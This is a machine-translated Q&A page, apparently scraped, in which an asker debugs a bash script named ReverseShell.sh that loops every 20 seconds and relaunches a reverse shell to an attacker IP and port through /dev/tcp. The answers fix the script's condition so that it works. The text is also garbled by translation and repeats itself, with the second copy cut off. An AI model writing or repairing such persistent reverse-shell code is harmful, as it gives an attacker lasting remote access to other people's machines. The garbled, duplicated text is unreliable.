Bash 脚本中的错误 "Integer Expression Expected"
Error "Integer Expression Expected" in Bash script
所以,我正在尝试编写一个 bash 脚本到 phone 家,如果程序不是'已经 运行。它应该每 20 秒检查一次进程是否存活,如果不是,它将执行 shell。但是,当我尝试执行程序时出现错误 ./ReverseShell.sh: line 9: [: ps -ef | grep "bash -i" | grep -v grep | wc -l: integer expression expected
。这是因为我在 if 语句中使用了 -eq。当我用 = 替换 -eq 时,程序会编译,但无论如何它的计算结果都是 0。
我做错了什么?我的代码如下。
#!/bin/bash
#A small program designed to establish and keep a reverse shell open
IP="" #Insert your IP here
PORT="" #Insert the Port you're listening on here.
while(true); do
if [ 'ps -ef | grep "bash -i" | grep -v grep | wc -l' -eq 0 ]
then
echo "Process not found, launching reverse shell to $IP on port $PORT"
bash -i >& /dev/tcp/$IP/$PORT 0>&1
sleep 20
else
echo "Process found, sleeping for 20 seconds..."
ps -ef | grep "bash -i" | grep -v "grep" | wc -l
sleep 20
fi
done
您的代码需要稍作改动。
你必须在 if.
中使用 tilt "`" 而不是单引号 "''"
if [ `ps -ef | grep "bash -i" | grep -v grep | wc -l` -eq 0 ]
这对我有用。希望对你也有帮助。
除了评论中提到的错别字外应该是:
if ! pgrep -f 'bash -i' > /dev/null ; then
echo "process not found"
else
echo "process found"
fi
由于 pgrep
如果至少找到 1 个进程则发出一个真实的退出状态,如果没有找到进程则发出一个虚假的退出状态,您可以直接在 if
条件中使用它。 [
(这是一个命令)不是必需的。
PS: 才发现这也是一个小时前。会保留它,因为我认为这是一个很好的做法。
所以,我正在尝试编写一个 bash 脚本到 phone 家,如果程序不是'已经 运行。它应该每 20 秒检查一次进程是否存活,如果不是,它将执行 shell。但是,当我尝试执行程序时出现错误 ./ReverseShell.sh: line 9: [: ps -ef | grep "bash -i" | grep -v grep | wc -l: integer expression expected
。这是因为我在 if 语句中使用了 -eq。当我用 = 替换 -eq 时,程序会编译,但无论如何它的计算结果都是 0。
我做错了什么?我的代码如下。
#!/bin/bash
#A small program designed to establish and keep a reverse shell open
IP="" #Insert your IP here
PORT="" #Insert the Port you're listening on here.
while(true); do
if [ 'ps -ef | grep "bash -i" | grep -v grep | wc -l' -eq 0 ]
then
echo "Process not found, launching reverse shell to $IP on port $PORT"
bash -i >& /dev/tcp/$IP/$PORT 0>&1
sleep 20
else
echo "Process found, sleeping for 20 seconds..."
ps -ef | grep "bash -i" | grep -v "grep" | wc -l
sleep 20
fi
done
您的代码需要稍作改动。 你必须在 if.
中使用 tilt "`" 而不是单引号 "''"if [ `ps -ef | grep "bash -i" | grep -v grep | wc -l` -eq 0 ]
这对我有用。希望对你也有帮助。
除了评论中提到的错别字外应该是:
if ! pgrep -f 'bash -i' > /dev/null ; then
echo "process not found"
else
echo "process found"
fi
由于 pgrep
如果至少找到 1 个进程则发出一个真实的退出状态,如果没有找到进程则发出一个虚假的退出状态,您可以直接在 if
条件中使用它。 [
(这是一个命令)不是必需的。
PS: 才发现这也是